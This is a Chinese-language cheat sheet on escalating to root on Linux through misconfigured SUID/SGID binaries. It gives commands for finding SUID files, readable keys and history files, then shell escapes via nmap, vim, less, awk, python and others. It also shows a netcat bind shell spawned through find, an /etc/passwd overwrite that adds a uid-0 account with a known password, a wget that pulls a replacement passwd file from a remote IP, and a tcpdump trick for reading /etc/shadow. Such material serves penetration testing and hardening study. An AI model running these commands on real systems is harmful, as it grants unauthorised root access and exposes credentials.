linux提權-Suid和Guid配置錯誤
描述
SUID代表設置的用戶ID,是一種Linux功能,允許用戶在指定用戶的許可下執行文件。例如,Linux ping命令通常需要root權限才能打開網絡套接字。通過將ping程序標記為SUID(所有者為root),只要低特權用戶執行ping程序,便會以root特權執行ping。
SUID(設置用戶ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。
當運行具有suid權限的二進制文件時,它將以其他用戶身份運行,因此具有其他用戶特權。它可以是root用戶,也可以只是另一個用戶。如果在程序中設置了suid,該位可以生成shell或以其他方式濫用,我們可以使用它來提升我們的特權。
以下是一些可用于產生SHELL的程序:
nmap vim less more nano cp mv find
查找suid和guid文件
Find SUID find / -perm -u=s -type f 2>/dev/null Find GUID find / -perm -g=s -type f 2>/dev/null
其他命令
命令結果find / -perm -4000 -type f 2>/dev/null查找SUID文件find / -uid 0 -perm -4000 -type f 2>/dev/null查找root擁有的SUID文件find / -perm -2000 -type f 2>/dev/null查找SGID文件(粘性位)find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null查找世界可寫文件,不包括proc文件find / -type f '(' -name *.cert -or -name *.crt -or -name *.pem -or -name *.ca -or -name *.p12 -or -name *.cer -name *.der ')' '(' '(' -user support -perm -u=r ')' -or '(' -group support -perm -g=r ')' -or '(' -perm -o=r ')' ')' 2> /dev/null-or -name *.cer -name *.der ')' 2> /dev/null查找您可以閱讀的密鑰或證書find /home –name *.rhosts -print 2>/dev/null查找rhost配置文件find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;查找hosts.equiv,列出權限并管理文件內容cat ~/.bash_history顯示當前用戶歷史記錄ls -la ~/.*_history向當前用戶分發各種歷史文件ls -la ~/.ssh/檢查當前用戶的ssh文件find /etc -maxdepth 1 -name '*.conf' -type f 要么 ls -la /etc/*.conf在/ etc中列出配置文件(深度1,在第一個命令中修改maxdepth參數以對其進行更改)lsof | grep '/home/\|/etc/\|/opt/'顯示可能有趣的打開文件
也可以使用 sudo -l 命令列出當前用戶可執行的命令
常用提權方式
nmap
find / -perm -u = s -type f 2> / dev / null –查找設置了SUID位的可執行文件 ls -la / usr / local / bin / nmap –讓我們確認nmap是否設置了SUID位。
Nmap的SUID位置1。很多時候,管理員將SUID位設置為nmap,以便可以有效地掃描網絡,因為如果不使用root特權運行它,則所有的nmap掃描技術都將無法使用。
但是,nmap(2.02-5.21)存在交換模式,可利用提權,我們可以在此模式下以交互方式運行nmap,從而可以轉至shell。如果nmap設置了SUID位,它將以root特權運行,我們可以通過其交互模式訪問'root'shell。
nmap –interactive –運行nmap交互模式 !sh –我們可以從nmap shell轉到系統shell
msf中的模塊為:
exploit/unix/local/setuid_nmap
較新版可使用 --script 參數:
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
find
touch test
nc 反彈 shell:
find test -exec netcat -lvp 5555 -e /bin/sh \;
vi/vim
打開vim,按下ESC
:set shell=/bin/sh :shell 或者 sudo vim -c '!sh'
bash
bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
less
less /etc/passwd !/bin/sh
more
more /home/pelle/myfile !/bin/bash
cp
覆蓋 /etc/shadow 或 /etc/passwd
[zabbix@localhost ~]$ cat /etc/passwd >passwd
[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123 $1$hack$WTn0dk2QjNeKfl.DHOUue0 [zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd [zabbix@localhost ~]$ cp passwd /etc/passwd [zabbix@localhost ~]$ su - hack Password: [root@361way ~]# id uid=0(hack) gid=0(root) groups=0(root) [root@361way ~]# cat /etc/passwd|tail -1 hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
mv
覆蓋 /etc/shadow 或 /etc/passwd
[zabbix@localhost ~]$ cat /etc/passwd >passwd [zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123 $1$hack$WTn0dk2QjNeKfl.DHOUue0 [zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd [zabbix@localhost ~]$ mv passwd /etc/passwd [zabbix@localhost ~]$ su - hack Password: [root@361way ~]# id uid=0(hack) gid=0(root) groups=0(root) [root@361way ~]# cat /etc/passwd|tail -1 hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
nano
nano /etc/passwd
awk
awk 'BEGIN {system("/bin/sh")}'
man
man passwd !/bin/bash
wget
wget http://192.168.56.1:8080/passwd -O /etc/passwd
apache
僅可查看文件,不能彈 shell:
apache2 -f /etc/shadow
tcpdump
echo $'idcat /etc/shadow' > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
python/perl/ruby/lua/php/etc
python
python -c "import os;os.system('/bin/bash')"
perl
exec "/bin/bash";